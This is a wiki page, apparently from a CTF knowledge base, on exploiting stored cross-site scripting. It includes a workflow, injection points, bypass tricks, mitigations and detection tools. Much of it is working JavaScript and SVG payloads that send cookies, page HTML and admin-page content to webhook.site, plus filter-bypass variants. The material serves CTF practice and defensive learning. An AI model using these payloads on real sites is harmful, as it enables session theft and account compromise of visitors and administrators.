Athena Wiki

Stored XSS

webintermediate

Exploit stored/persistent Cross-Site Scripting vulnerabilities that affect every visitor.

webxssstoredpersistentcookie-theftadminbot

Stored XSS

Stored XSS (Persistent XSS) occurs when an application stores attacker-controlled input (comments, profile fields, uploads) and later renders it into pages visited by other users (often administrators). Stored XSS is high-impact: it can affect every visitor and remains effective until the payload is removed.


Quick summary

  • Impact: account compromise, token/cookie theft, forced actions, data exfiltration, backdoors for persistent access.
  • Delivery: attacker submits payload into a persistent field (comment, profile, product review, file upload). The payload executes when a victim/admin views the stored content.
  • Typical targets in CTFs: admin review bots, support panels, user dashboards, and feeds.

CTF Quick Start

    1. Identify stored inputs that are visible to admins or bots (comments, reports, profiles).
    1. Confirm persistence with a benign marker: submit <b>ctf-test</b> and view the stored page.
    1. Try a non-noisy execution payload: <img src=x onerror=fetch('https://webhook.site/ID?c='+btoa(document.cookie))>.
    1. Use delays or lightweight navigation to ensure headless bots execute scripts: setTimeout(...,2000).
    1. Capture webhook request, extract flag/token, and remove your payload if required by rules.

Payload snippets (CTF-ready)

  • Minimal alert: <img src=x onerror=alert(1)>
  • Cookie beacon: <script>new Image().src='https://webhook.site/ID?c='+btoa(document.cookie)</script>
  • Stealth fetch: <script>setTimeout(()=>fetch('https://webhook.site/ID?d='+btoa(document.body.innerText)),1500)</script>
  • SVG upload: upload an .svg containing <script>fetch('https://webhook.site/ID?d='+btoa(document.documentElement.innerHTML))</script>

How it typically works

  1. Attacker finds an input that is stored and later rendered.
  2. Attacker submits a payload (HTML/JS/SVG) that is stored server-side.
  3. Victim views the page containing the stored payload.
  4. Victim's browser executes the injected script.

Common injection points

  • Comments, forum posts, and reviews
  • Profile fields (bio, display name, website)
  • Support tickets, bug reports, and contact forms
  • File uploads and image metadata (notably SVG files)
  • Admin logs and error pages that render raw data
  • Chat messages and realtime feeds

Testing checklist (safe order)

  1. Map stored fields and identify who views them (admins, bots, other users).
  2. Insert a benign marker (<b>test</b>) to confirm storage and rendering context.
  3. Escalate to non-script HTML (<img src=x onerror=alert(1)>) to validate script execution.
  4. Use time-delayed benign probes or private webhooks to detect admin visits.
  5. If successful, craft selective exfiltration payloads that minimize noise.

Quick probes:

-- <b>test</b> - renders as bold if HTML allowed -- <img src=x onerror=alert(1)> - triggers if inline handlers allowed -- SVG upload containing <script> - tests file-based XSS


Practical payloads

Simple cookie exfiltration (note: cannot access HttpOnly cookies):

<script>new Image().src='https://webhook.site/UNIQUE?c='+encodeURIComponent(document.cookie)</script>

Stealthier exfiltration using fetch and btoa:

<script>fetch('https://webhook.site/UNIQUE?d='+btoa(document.documentElement.innerHTML))</script>

Read page fragments and perform actions (if credentials: include allowed):

<script>
  fetch('/admin', {credentials:'include'})
    .then(r=>r.text())
    .then(t=>fetch('https://webhook.site/UNIQUE?d='+btoa(t)));
</script>

SVG upload vector (file-based payload):

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://webhook.site/UNIQUE?d='+btoa(document.documentElement.innerHTML))
  </script>
</svg>

Exploitation workflow (practical)

  1. Confirm persistence and who sees the payload (admin, public, bot).
  2. Identify exact reflection context (HTML body, attribute, inside a JS template, or served as a file).
  3. Test minimal payloads to avoid detection: readable markers, then small exfiltrations.
  4. Use webhooks (webhook.site, Burp Collaborator) or your own server to capture requests.
  5. If admins use headless browsers, add short delays (e.g., setTimeout) or benign navigation to ensure the bot performs the actions.

Example (delayed beacon to reduce noise):

<script>
  setTimeout(()=>{fetch('https://webhook.site/UNIQUE?c='+btoa(document.cookie))}, 2000);
</script>

Bypass techniques and common pitfalls

-- File uploads: test SVG and HTML file handlers - many apps allow SVG but do not sanitize embedded scripts.

  • Markdown renderers: try link and image payloads that exploit unsafe renderers (e.g., ![x](x" onerror=alert(1))).
  • Filters: use whitespace, encoding, or event-handler alternatives when <script> is blocked. -- HttpOnly cookies: cannot be read client-side - exfiltrate page content or tokens instead.

Examples:

%3Cscript%3Ealert(1)%3C%2Fscript%3E   # URL-encoded script tag
<svg onload=alert(1)>                # SVG event
<img src=x onerror=fetch('https://webhook.site/UNIQUE?c='+btoa(document.cookie))>

Mitigations and secure design

  • Output encoding: escape HTML in the specific context (HTML body, attributes, JavaScript strings, URLs). Use templating frameworks' escaping helpers.
  • Reject dangerous file types or sanitize uploads (remove scripts from SVG) and serve user-uploaded files from a different domain or via a sanitized proxy.
  • Use HttpOnly, Secure, and SameSite flags on cookies; set strong CSP (deny inline scripts, use nonces/hashes).
  • Implement input validation and canonicalization; treat any input that can contain markup as untrusted and encode it appropriately.
  • Employ least privilege and remove admin-only features from user-controllable fields.
  • Monitor stored content and use automated scanning for XSS payloads in persisted fields.

Detection and tooling

  • Manual: submit test payloads, monitor webhooks, and check admin pages.
  • Automated: use Burp Scanner, ZAP, or custom scripts to detect persistent reflections.
  • For uploads: test file previews and content-type mismatches; use browser devtools to inspect inline scripts.

See also


Last updated on

On this page